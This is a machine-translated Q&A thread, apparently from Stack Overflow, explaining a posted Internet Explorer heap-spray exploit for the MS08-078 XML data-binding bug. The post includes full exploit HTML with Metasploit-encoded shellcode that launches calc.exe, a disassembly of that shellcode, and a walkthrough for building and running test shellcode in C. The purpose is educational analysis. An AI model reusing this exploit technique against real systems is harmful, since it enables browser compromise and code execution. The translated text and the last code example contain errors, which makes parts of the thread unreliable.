我通常没有阅读JavaScript脚本的困难,但这个我无法弄清楚逻辑。该代码来自于4天前发布的漏洞利用程序。您可以在milw0rm找到它。
以下是代码:
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>
</html>
以下是我认为它的确如此,我希望你帮助我解决我误解的部分。
变量shellcode
包含打开calc.exe的代码。我不知道他们是怎么发现这个奇怪的字符串......任何想法?
第二件事是变量spray
。我不明白这个奇怪的循环?
第三件事是从未在任何地方使用的变量memory
,为什么要创建它?
最后一点,XML标记在页面中做了什么?
好吧,目前我有很好的答案,但大部分都是
一般。我想更多解释一下这个价值
码。一个例子是unescape("%u0a0a%u0a0a");
。这是什么意思?
循环相同,开发人员为什么写:
length < 0xd0000
?我想要更深刻的理解,而不是
只有这段代码的理论。
答案 0 :(得分:316)
shellcode包含一些x86汇编指令,可以进行实际的利用。 spray
创建了一长串指令,这些指令将放入memory
。由于我们通常无法在内存中找到shellcode的确切位置,因此我们在其前面放了很多nop
指令并跳转到那里的某个地方。 memory
数组将保存实际的x86代码以及跳转机制。我们将精心制作的XML提供给有错误的库。当它被解析时,该错误将导致指令指针寄存器被分配到我们漏洞利用的某个地方,导致任意代码执行。
为了更深入地理解,你应该真正弄清楚x86代码中的内容。 unscape
将用于将字符串表示的字节序列放在spray
变量中。它是有效的x86代码,它填充了大量的堆并跳转到shellcode的开头。结束条件的原因是脚本引擎的字符串长度限制。您不能拥有大于特定长度的字符串。
在x86程序集中,0a0a
代表or cl, [edx]
。出于我们的利用目的,这实际上等同于nop
指令。无论我们在spray
跳到哪里,我们都会到达下一条指令,直到我们到达shellcode,这是我们实际想要执行的代码。
如果您查看XML,您会看到0x0a0a
也在那里。准确地描述发生的事情需要具体的漏洞利用知识(你必须知道bug的位置以及它是如何被利用的,我不知道)。但是,我们似乎通过将innerHtml
设置为该恶意XML字符串来强制Internet Explorer触发错误代码。 Internet Explorer尝试解析它,并且错误的代码以某种方式控制数组存在的内存位置(因为它是一个很大的块,跳转的概率很高)。当我们跳到那里时,CPU将继续执行or cl, [edx]
指令,直到到达放入内存的shellcode的开头。
我已经反汇编了shellcode:
00000000 C9 leave
00000001 2B1F sub ebx,[edi]
00000003 B10C mov cl,0xc
00000005 BDC536DB9B mov ebp,0x9bdb36c5
0000000A D9C5 fld st5
0000000C 2474 and al,0x74
0000000E 5A pop edx
0000000F F4 hlt
00000010 EA8331FC0B6A6A jmp 0x6a6a:0xbfc3183
00000017 03D4 add edx,esp
00000019 07 pop es
0000001A 67305CFF xor [si-0x1],bl
0000001E 98 cwde
0000001F BBD7FFA4FE mov ebx,0xfea4ffd7
00000024 9B wait
00000025 74AD jz 0xffffffd4
00000027 058B8B028D add eax,0x8d028b8b
0000002C D893BCCD35A2 fcom dword [ebx+0xa235cdbc]
00000032 37 aaa
00000033 B84290A63A mov eax,0x3aa69042
00000038 94 xchg eax,esp
00000039 E99AA4D58D jmp 0x8dd5a4d8
0000003E E5A3 in eax,0xa3
00000040 1F pop ds
00000041 4C dec esp
00000042 EB46 jmp short 0x8a
00000044 4B dec ebx
00000045 8CD0 mov eax,ss
00000047 AD lodsd
00000048 A844 test al,0x44
0000004A 52 push edx
0000004B 4A dec edx
0000004C 3B81B80DD748 cmp eax,[ecx+0x48d70db8]
00000052 4B dec ebx
00000053 D46C aam 0x6c
00000055 46 inc esi
00000056 1392734A204F adc edx,[edx+0x4f204a73]
0000005C F8 clc
0000005D 6E outsb
0000005E DC8EA20726B4 fmul qword [esi+0xb42607a2]
00000064 04D4 add al,0xd4
00000066 D084ECBA978221 rol byte [esp+ebp*8+0x218297ba],1
0000006D 7CE8 jl 0x57
0000006F C0CA8C ror dl,0x8c
00000072 F4 hlt
00000073 A6 cmpsb
00000074 47 inc edi
00000075 210D2EA0B0CD and [0xcdb0a02e],ecx
0000007B 2CA8 sub al,0xa8
0000007D B05B mov al,0x5b
0000007F 43 inc ebx
00000080 F4 hlt
00000081 24E8 and al,0xe8
00000083 7A9C jpe 0x21
00000085 BB857DCBA0 mov ebx,0xa0cb7d85
0000008A 7DED jnl 0x79
0000008C 92 xchg eax,edx
0000008D 09E1 or ecx,esp
0000008F 96 xchg eax,esi
00000090 315580 xor [ebp-0x80],edx
理解这个shellcode需要x86汇编知识和MS库本身的问题(知道我们到达这里时系统状态是什么),而不是JavaScript!此代码将依次执行calc.exe
。
答案 1 :(得分:13)
答案 2 :(得分:10)
这看起来像微软发布紧急补丁的recent Internet Explorer bug漏洞。它在Microsoft的XML处理程序的数据绑定功能中使用了一个缺陷,导致堆内存被错误地释放。
Shellcode是在发生错误时运行的机器代码。喷雾和内存只是在堆上分配的一些空间,以帮助发生可利用的情况。
答案 3 :(得分:3)
堆Spraying是利用浏览器内容的常用方法,如果您使用它,您可以找到以下几个帖子:http://sf-freedom.blogspot.com/2006/06/heap-spraying-introduction.html
答案 4 :(得分:2)
每当我看到内存在漏洞利用讨论中没有得到解决时,我首先想到的是漏洞是某种缓冲区溢出,在这种情况下,内存导致缓冲区溢出或被访问一次缓冲区溢出。
答案 5 :(得分:0)
这是来自metasploit,这意味着它正在使用metasploit shell代码之一。它是开源的,所以你可以抓住它:http://www.metasploit.com/
答案 6 :(得分:0)
有关漏洞本身的更多背景知识,我建议您阅读MS08-078 and the SDL。
答案 7 :(得分:0)
请参阅Character encodings in HTML。
它是以字符串形式编码的二进制数据,JavaScript正在解码。
XSS的常见形式。
您可以在此处查看所有编码技巧:
http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project
答案 8 :(得分:0)
简单的shellcode示例
组装中的Hello world&amp; t语法x86我相信(培训中的向导)。
设置文件:vim shellcodeExample.s
.text #required
.goblal _start #required
_start: #main function
jmp one #jump to the section labeled one:
two:
pop %rcx #pop %rcx off the stack, or something
xor %rax, %rax #Clear
movl 4, %rax #use sys_write(printf || std::cout)
xor %rbx, %rbx #Clear
inc %rbx #increment %rbx to 1 stdout(terminal)
xor %rdx, %rdx #Clear Registers or something
movb $13, %dl #String Size
int $0x80
one:
call two #jump up to section two:
.ascii "Hello World\r\n" #make the string one of the starting memory
#^-addresses
编译如下:as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o
现在你有一个打印出hello world的二进制文件。
将二进制文件转换为shell代码类型:objdump -D shellcode
你会得到输出:
shellcode: file format elf64-x86-64
Disassembly of section .text:
0000000000400078 <.text>:
400078: eb 1a jmp 0x400094
40007a: 59 pop %rcx
40007b: 48 31 c0 xor %rax,%rax
40007e: b0 04 mov $0x4,%al
400080: 48 31 db xor %rbx,%rbx
400083: 48 ff c3 inc %rbx
400086: 48 31 d2 xor %rdx,%rdx
400089: b2 0d mov $0xd,%dl
40008b: cd 80 int $0x80
40008d: b0 01 mov $0x1,%al
40008f: 48 ff cb dec %rbx
400092: cd 80 int $0x80
400094: e8 e1 ff ff ff callq 0x40007a
400099: 68 65 6c 6c 6f pushq $0x6f6c6c65
40009e: 20 77 6f and %dh,0x6f(%rdi)
4000a1: 72 6c jb 0x40010f
4000a3: 64 fs
4000a4: 0d .byte 0xd
4000a5: 0a .byte 0xa
现在,如果您在第4行查看文字,您会看到:400078: eb 1a jmp 0x400094
表示eb 1a
的部分是汇编指令jmp one
的十六进制表示,其中“one”是字符串的内存地址。
准备shellcode以便执行打开另一个文本文件并将十六进制值存储在一个字符数组中。要正确格式化shell代码,请在每个十六进制值之前键入\x
。
根据objdump命令输出,即将发布的shell代码示例如下所示:
unsigned char PAYLOAD[] =
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";
此示例使用C作为数组。 现在你有了一个可以写入stdout“hello world”
的shellcode您可以通过将shell代码置于漏洞中来测试它,或者您可以编写以下c程序来测试它:
vim execShellcode.cc; //linux command to create c file.
/*Below is the content of execShellcode.cc*/
unsigned char PAYLOAD[] =
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";
int main(){
((void(*)(void))PAYLOAD)();
return 0;
}
编译程序类型:
gcc -fno-stack-protector -z execstack execShellcode.cc -o run
使用./run
运行
你知道有一个简单shellcode开发的工作示例,在linux mint / debian中进行了测试。